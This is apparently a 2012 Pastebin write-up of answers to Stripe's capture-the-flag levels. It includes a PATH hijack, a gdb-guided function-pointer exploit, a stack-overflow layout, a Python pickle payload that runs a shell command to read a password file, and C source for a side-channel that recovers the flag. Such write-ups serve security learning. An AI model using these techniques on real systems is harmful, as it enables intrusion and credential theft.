SHARE
TWEET

zx2c4's answers to stripe's capture the flag

a guest Feb 23rd, 2012 2,371 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Answers for https://stripe.com/blog/capture-the-flag
  2.  
  3.  
  4. == level 1 ==
  5.  
  6. Link ./date to /bin/sh and set PATH to pwd.
  7.  
  8.  
  9. == level 2 ==
  10.  
  11. Set the cookie to the path of level3's password.
  12.  
  13.  
  14. == level 3 ==
  15.  
  16. Stack grows from high to low, so argv and envp are out, but luckily we copy into buf which is lower than fns. So, we just make a symlink to /bin/sh that's the memory location of run and then we point fns at it via negative pointer arithmatic. A little complicated so here's the steps:
  17.  
  18.  
  19. level03@ctf4:/tmp/tmp.lZLfBZODXa$ gdb /levels/level03
  20. (gdb) break truncate_and_call
  21. Breakpoint 1 at 0x8048780: file level03.c, line 57.
  22. (gdb) run 1 something
  23. Starting program: /levels/level03 1 something
  24. Breakpoint 1, truncate_and_call (fns=0xffeecfec, index=1, user_string=0xffeed986 "something") at level03.c:57
  25. 57      in level03.c
  26. (gdb) n
  27. 60      in level03.c
  28. (gdb) p &buf
  29. $2 = (char (*)[64]) 0xffeecf7c
  30. (gdb) p fns
  31. $3 = (fn_ptr *) 0xffeecfec
  32. (gdb) p (0xffeecfec-0xffeecf7c)/4
  33. $4 = 28
  34. (gdb) p run
  35. $5 = {int (const char *)} 0x804875b <run>
  36. (gdb) quit
  37. A debugging session is active.
  38.  
  39.         Inferior 1 [process 11962] will be killed.
  40.  
  41. Quit anyway? (y or n) y
  42. level03@ctf4:/tmp/tmp.lZLfBZODXa$ export HOME=$(pwd)
  43. level03@ctf4:~$ ls
  44. level03@ctf4:~$ ln -s /bin/sh "$(printf '\x5b\x87\x04\x08')"
  45. level03@ctf4:~$ export PATH=$(pwd):$PATH
  46. level03@ctf4:~$ /levels/level03 -28 "$(printf '\x5b\x87\x04\x08')"
  47. $ whoami
  48. level04
  49.  
  50.  
  51. == level 4 ==
  52.  
  53. The proportions were something along the lines of:
  54. \x90 x 510
  55. [shellcode]
  56. [guessed stack location] x 500
  57.  
  58. I generated a guess, and then ran the executable in a loop, and I got a shell on the 4th or 5th loop.
  59.  
  60. Pretty standard stack overflow situation.
  61.  
  62.  
  63. == level 5 ==
  64.  
  65. Good old python unpickling exploit.
  66.  
  67. some-string;job: [malicious picked code][line break]
  68.  
  69. For the pickled code I just put:
  70.         cos\nsystem\n(S'cat /home/level06/.password > /tmp/asdffnnnnn'\ntR.
  71.  
  72.  
  73. == level 6 ==
  74.  
  75. My first idea was rlimiting fork, so that fork would fail and return... oh, wait, negative one, shucks. So no easy points. Luckily though you write to stderr which is unbuffered by default. I played with filling up pipes first to the max, and then sockets, but each of these were a bit annoying. So I went back to the rlimit idea -- but this time for file size. I can deliver a signal when the file gets to be a certain size, and then check whether or not the process had forked the echo. Worked like a charm. Source:
  76.  
  77. #include <sys/time.h>
  78. #include <sys/resource.h>
  79. #include <stdio.h>
  80. #include <unistd.h>
  81. #include <errno.h>
  82. #include <fcntl.h>
  83. #include <limits.h>
  84. #include <string.h>
  85. #include <sys/wait.h>
  86. #include <sys/stat.h>
  87.  
  88.  
  89. int teststr(const char *str)
  90. {
  91.         int out[2];
  92.         pipe2(out, O_NONBLOCK);
  93.        
  94.         int child;
  95.         if ((child = fork())) {
  96.                 wait(0);
  97.                 char in_out = 0;
  98.                 int count = 0;
  99.                 int status;
  100.                 while ((status = read(out[0], &in_out, 1)) < 0 && count < 10000)
  101.                         ++count;
  102.                 return status == 1;
  103.         } else {
  104.                 dup2(out[1], 1);
  105.  
  106.                 int file = creat("./tmp", S_IWUSR | S_IRUSR);
  107.                 fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
  108.                 dup2(file, 2);
  109.                
  110.                 struct rlimit limit;
  111.                 getrlimit(RLIMIT_FSIZE, &limit);
  112.                 limit.rlim_cur = 33 + strlen(str);
  113.                 setrlimit(RLIMIT_FSIZE, &limit);
  114.                
  115.                 char buffer[4096];
  116.                 snprintf(buffer, 4096, "%s~", str);
  117.                
  118.                 execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
  119.         }
  120. }
  121.  
  122.  
  123. int main(int argc, char *argv[])
  124. {      
  125.  
  126.         char buffer[1024];
  127.         memset(buffer, 0, 1024);
  128.        
  129.         int i;
  130.         for (i = 0; i < 1024; ++i) {
  131.                 char c = 32;
  132.                 do {
  133.                         buffer[i] = c;
  134.                         ++c;
  135.                 } while (teststr(buffer) && c < 126);
  136.                 printf("%s\n", buffer);
  137.         }
  138.                
  139.         return 0;
  140. }
  141.  
  142.  
  143. == the flag ==
  144. theflagl0eFTtT5oi0nOTxO5
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top